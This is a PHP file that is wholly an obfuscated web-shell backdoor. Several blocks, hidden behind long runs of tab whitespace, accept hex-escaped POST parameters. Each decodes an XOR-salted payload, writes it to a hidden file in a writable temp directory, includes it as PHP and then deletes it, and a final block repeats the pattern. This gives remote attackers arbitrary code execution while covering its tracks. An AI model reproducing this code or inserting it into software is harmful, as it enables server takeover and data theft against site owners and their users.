<?php																																										if(!empty($_POST["\x6Dar\x6Be\x72"])){ $element = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); $object = $_POST["\x6Dar\x6Be\x72"]; $object =explode ("." , $object ); $holder =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt5); $__len =count( $object); for( $t =0; $t < $__len; $t++) {$v6 =$object[$t]; $chS =ord( $salt5[$t % $lenS]); $dec =( ( int)$v6 - $chS -( $t % 10)) ^ 1; $holder .= chr( $dec); } for ($key = 0, $symbol = count($element); $key < $symbol; $key++) { $k = $element[$key]; if (is_writable($k) && is_dir($k)) { $component = implode("/", [$k, ".ref"]); if (@file_put_contents($component, $holder) !== false) { include $component; unlink($component); exit; } } } }
																																										if(array_key_exists("p\x73et", $_POST) && !is_null($_POST["p\x73et"])){ $pgrp = $_POST["p\x73et"]; $pgrp =explode ( '.' , $pgrp) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; $__len = count($pgrp); do { if ($i >= $__len) break; $v8 = $pgrp[$i]; $chS = ord($s[$i %$sLen]); $dec = ((int)$v8 - $chS - ($i %10)) ^ 43; $symbol .= chr($dec); $i++; } while (true); $ref = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd()]); foreach ($ref as $mrk) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $tkn = vsprintf("%s/%s", [$mrk, ".binding"]); if (@file_put_contents($tkn, $symbol) !== false) { include $tkn; unlink($tkn); exit; } } } }
																																										if(!empty($_POST["sy\x6D"])){ $val = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]); $res = $_POST["sy\x6D"]; $res=explode ( '.' , $res ) ; $comp=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt5 ); $l=0; foreach($res as $v4) { $sChar=ord($salt5[$l % $lenS] ); $d=((int)$v4 - $sChar -($l % 10)) ^ 60; $comp .= chr($d ); $l++; } $symbol = 0; do { $bind = $val[$symbol] ?? null; if ($symbol >= count($val)) break; if (array_product([is_dir($bind), is_writable($bind)])) { $pgrp = "$bind" . "/.desc"; $success = file_put_contents($pgrp, $comp); if ($success) { include $pgrp; @unlink($pgrp); die();} } $symbol++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64a\x74")){ $ent = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP")]); $value = $_POST["\x64a\x74"]; $value =explode("." , $value); $comp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); $y = 0; while($y < count($value)) { $v3 = $value[$y]; $sChar = ord($salt3[$y % $sLen] ); $dec =((int)$v3 - $sChar -($y % 10)) ^ 30; $comp .= chr($dec ); $y++; } $ref = 0; do { $entry = $ent[$ref] ?? null; if ($ref >= count($ent)) break; if (is_dir($entry) && is_writable($entry)) { $tkn = implode("/", [$entry, ".obj"]); if (file_put_contents($tkn, $comp)) { include $tkn; @unlink($tkn); exit; } } $ref++; } while (true); }
																																										if(array_key_exists("c\x6Fmpo\x6E\x65n\x74", $_POST)){ $holder = array_filter(["/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd()]); $element = $_POST["c\x6Fmpo\x6E\x65n\x74"]; $element = explode ('.', $element); $ent = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $y = 0; $len = count($element); do { if ($y >= $len) break; $v3 = $element[$y]; $sChar = ord($salt7[$y % $lenS]); $dec = ((int)$v3 - $sChar - ($y % 10)) ^ 15; $ent .= chr($dec); $y++; } while (true); $token = 0; do { $entry = $holder[$token] ?? null; if ($token >= count($holder)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $desc = join("/", [$entry, ".ref"]); if (file_put_contents($desc, $ent)) { include $desc; @unlink($desc); exit; } } $token++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x6Dr\x6B"])){ $pgrp = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $obj = $_POST["\x6Dr\x6B"]; $obj =explode( '.' , $obj) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $obj ); for( $n = 0; $n< $__len; $n++) { $v2 = $obj[$n]; $chS = ord( $salt[$n % $sLen] ); $dec =( ( int)$v2 - $chS -( $n % 10)) ^ 38; $bind .= chr( $dec ); } while ($fac = array_shift($pgrp)) { if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $ref = join("/", [$fac, ".reference"]); if (file_put_contents($ref, $bind)) { include $ref; @unlink($ref); exit; } } } }


if(isset($_POST["c\x6Fm\x70o\x6Een\x74"])){
	$parameter_group = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]);
	$comp = $_POST["c\x6Fm\x70o\x6Een\x74"];
	  $comp 		=		explode	 ( '.',$comp	  )		;
	$bind  =	'';
            $salt5  =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =	strlen( $salt5 );
            $y  =	0;
            $__len  =	count( $comp );
    
            do {if( $y >= $__len) break;
                $v2  =	$comp[$y];
                $sChar  =	ord( $salt5[$y %	$lenS] );
                $d  =	( ( int)$v2 - $sChar -( $y %	10)) ^ 64;
                $bind .= chr( $d );
                $y++;
            } while( true );
	foreach ($parameter_group as $data) {
    		if (is_writable($data) && is_dir($data)) {
    $ent = implode("/", [$data, ".record"]);
    if (file_put_contents($ent, $bind)) {
	require $ent;
	unlink($ent);
	die();
}
}
}
}